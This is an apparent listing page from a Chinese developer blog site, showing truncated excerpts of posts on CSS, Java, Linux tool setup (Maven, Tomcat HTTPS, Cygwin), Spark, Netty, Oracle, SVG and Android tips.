    清除浮动这个问题，做前端的应该再熟悉不过了，咱是个新人，所以还是记个笔记，做个积累，努力学习向大神靠近。CSS清除浮动的方法网上一搜，大概有N多种，用过几种，说下个人感受。 1、结尾处加空div标签 clear:both 1 2 3 4 .div 1 { background : #000080 ; border : 1px   s
  • Cygwin使用windows的jdk 配置方法 _wy_ jdkwindowscygwin
    1.[vim /etc/profile]    JAVA_HOME="/cgydrive/d/Java/jdk1.6.0_43"  (windows下jdk路径为D:\Java\jdk1.6.0_43)    PATH="$JAVA_HOME/bin:${PATH}"    CLAS
  • linux下安装maven 无量 mavenlinux安装
    Linux下安装maven(转) 1.首先到Maven官网 下载安装文件，目前最新版本为3.0.3，下载文件为 apache-maven-3.0.3-bin.tar.gz，下载可以使用wget命令； 2.进入下载文件夹，找到下载的文件，运行如下命令解压 tar -xvf  apache-maven-2.2.1-bin.tar.gz 解压后的文件夹
  • tomcat的https 配置,syslog-ng配置 aichenglong tomcathttp跳转到httpssyslong-ng配置syslog配置
    1) tomcat配置https,以及http自动跳转到https的配置     1)TOMCAT_HOME目录下生成密钥(keytool是jdk中的命令)      keytool -genkey -alias tomcat -keyalg RSA -keypass changeit -storepass changeit
  • 关于领号活动总结 alafqq 活动
    关于某彩票活动的总结 具体需求，每个用户进活动页面，领取一个号码，1000中的一个； 活动要求 1，随机性，一定要有随机性； 2，最少中奖概率，如果注数为3200注，则最多中4注 3，效率问题，（不能每个人来都产生一个随机数，这样效率不高）； 4，支持断电（仍然从下一个开始），重启服务；（存数据库有点大材小用，因此不能存放在数据库） 解决方案 1，事先产生随机数1000个，并打
  • java数据结构 冒泡排序的遍历与排序 百合不是茶 java
    java的冒泡排序是一种简单的排序规则   冒泡排序的原理：           比较两个相邻的数，首先将最大的排在第一个，第二次比较第二个 ，此后一样；         针对所有的元素重复以上的步骤，除了最后一个     例题；将int array[]
  • JS检查输入框输入的是否是数字的一种校验方法 bijian1013 js
    如下是JS检查输入框输入的是否是数字的一种校验方法： <form method=post target="_blank"> 数字：<input type="text" name=num onkeypress="checkNum(this.form)"><br> </form>
  • Test注解的两个属性：expected和timeout bijian1013 javaJUnitexpectedtimeout
    JUnit4：Test文档中的解释： 　　The Test annotation supports two optional parameters. 　　The first, expected, declares that a test method should throw an exception. 　　If it doesn't throw an exception or if it
  • [Gson二]继承关系的POJO的反序列化 bit1129 POJO
    父类     package inheritance.test2; import java.util.Map; public class Model { private String field1; private String field2; private Map<String, String> infoMap
  • 【Spark八十四】Spark零碎知识点记录 bit1129 spark
    1. ShuffleMapTask的shuffle数据在什么地方记录到MapOutputTracker中的 ShuffleMapTask的runTask方法负责写数据到shuffle map文件中。当任务执行完成成功，DAGScheduler会收到通知，在DAGScheduler的handleTaskCompletion方法中完成记录到MapOutputTracker中  
  • WAS各种脚本作用大全 ronin47 WAS 脚本
    　　　http://www.ibm.com/developerworks/cn/websphere/library/samples/SampleScripts.html 　　　无意中，在WAS官网上发现的各种脚本作用，感觉很有作用，先与各位分享一下 　　　 获取下载 这些示例 jacl 和 Jython 脚本可用于在 WebSphere Application Server 的不同版本中自
  • java-12.求 1+2+3+..n不能使用乘除法、 for 、 while 、 if 、 else 、 switch 、 case 等关键字以及条件判断语句 bylijinnan switch
    借鉴网上的思路，用java实现： public class NoIfWhile { /** * @param args * * find x=1+2+3+....n */ public static void main(String[] args) { int n=10; int re=find(n); System.o
  • Netty源码学习-ObjectEncoder和ObjectDecoder bylijinnan javanetty
    Netty中传递对象的思路很直观： Netty中数据的传递是基于ChannelBuffer（也就是byte[]）； 那把对象序列化为字节流，就可以在Netty中传递对象了 相应的从ChannelBuffer恢复对象，就是反序列化的过程 Netty已经封装好ObjectEncoder和ObjectDecoder 先看ObjectEncoder ObjectEncoder是往外发送
  • spring 定时任务中cronExpression表达式含义 chicony cronExpression
    一个cron表达式有6个必选的元素和一个可选的元素，各个元素之间是以空格分隔的，从左至右，这些元素的含义如下表所示： 代表含义            是否必须 允许的取值范围         &nb
  • Nutz配置Jndi ctrain JNDI
    1、使用JNDI获取指定资源： var ioc = { dao : { type :"org.nutz.dao.impl.NutDao", args : [ {jndi :"jdbc/dataSource"} ] } } 以上方法,仅需要在容器中配置好数据源,注入到NutDao即可.
  • 解决 /bin/sh^M: bad interpreter: No such file or directory daizj shell
    在Linux中执行.sh脚本，异常/bin/sh^M: bad interpreter: No such file or directory。   分析：这是不同系统编码格式引起的：在windows系统中编辑的.sh文件可能有不可见字符，所以在Linux系统下执行会报以上异常信息。 解决： 1）在windows下转换： 利用一些编辑器如UltraEdit或EditPlus等工具
  • [转]for 循环为何可恨？ dcj3sjt126com 程序员读书
      Java的闭包(Closure)特征最近成为了一个热门话题。 一些精英正在起草一份议案，要在Java将来的版本中加入闭包特征。 然而，提议中的闭包语法以及语言上的这种扩充受到了众多Java程序员的猛烈抨击。 不久前，出版过数十本编程书籍的大作家Elliotte Rusty Harold发表了对Java中闭包的价值的质疑。 尤其是他问道“for 循环为何可恨？”[http://ju
  • Android实用小技巧 dcj3sjt126com android
    1、去掉所有Activity界面的标题栏 　　修改AndroidManifest.xml 　　在application 标签中添加android:theme="@android:style/Theme.NoTitleBar"   2、去掉所有Activity界面的TitleBar 和StatusBar  　　修改AndroidManifes
  • Oracle 复习笔记之序列 eksliang Oracle 序列sequenceOracle sequence
    转载请出自出处：http://eksliang.iteye.com/blog/2098859 1.序列的作用 序列是用于生成唯一、连续序号的对象 一般用序列来充当数据库表的主键值 2.创建序列语法如下：   create sequence s_emp start with 1 --开始值 increment by 1 --増长值 maxval
  • 有“品”的程序员 gongmeitao 工作
    完美程序员的10种品质　　   完美程序员的每种品质都有一个范围，这个范围取决于具体的问题和背景。没有能解决所有问题的   完美程序员（至少在我们这个星球上），并且对于特定问题，完美程序员应该具有以下品质： 　　1. 才智非凡- 能够理解问题、能够用清晰可读的代码翻译并表达想法、善于分析并且逻辑思维能力强   （范围：用简单方式解决复杂问题）　　
  • 使用KeleyiSQLHelper类进行分页查询 hvt sql.netC#asp.nethovertree
    本文适用于sql server单主键表或者视图进行分页查询，支持多字段排序。KeleyiSQLHelper类的最新代码请到http://hovertree.codeplex.com/SourceControl/latest下载整个解决方案源代码查看。或者直接在线查看类的代码：http://hovertree.codeplex.com/SourceControl/latest#HoverTree.D
  • SVG 教程 （三）圆形，椭圆，直线 天梯梦 svg
    SVG <circle> SVG 圆形 - <circle> <circle> 标签可用来创建一个圆： 下面是SVG代码： <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" c
  • 链表栈 luyulong java数据结构
    public class Node { private Object object; private Node next; public Node() { this.next = null; this.object = null; } public Object getObject() { return object; } public
  • 基础数据结构和算法十：2-3 search tree sunwinner Algorithm2-3 search tree
      Binary search tree works well for a wide variety of applications, but they have poor worst-case performance. Now we introduce a type of binary search tree where costs are guaranteed to be loga
  • spring配置定时任务 stunizhengjia springtimer
    最近因工作的需要，用到了spring的定时任务的功能,觉得spring还是很智能化的,只需要配置一下配置文件就可以了,在此记录一下，以便以后用到：     //------------------------定时任务调用的方法------------------------------ /** * 存储过程定时器 */ publi
  • ITeye 8月技术图书有奖试读获奖名单公布 ITeye管理员 活动
    ITeye携手博文视点举办的8月技术图书有奖试读活动已圆满结束，非常感谢广大用户对本次活动的关注与参与。 8月试读活动回顾： http://webmaster.iteye.com/blog/2102830 本次技术图书试读活动的优秀奖获奖名单及相应作品如下（优秀文章有很多，但名额有限，没获奖并不代表不优秀）： 《跨终端Web》 gleams：http
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他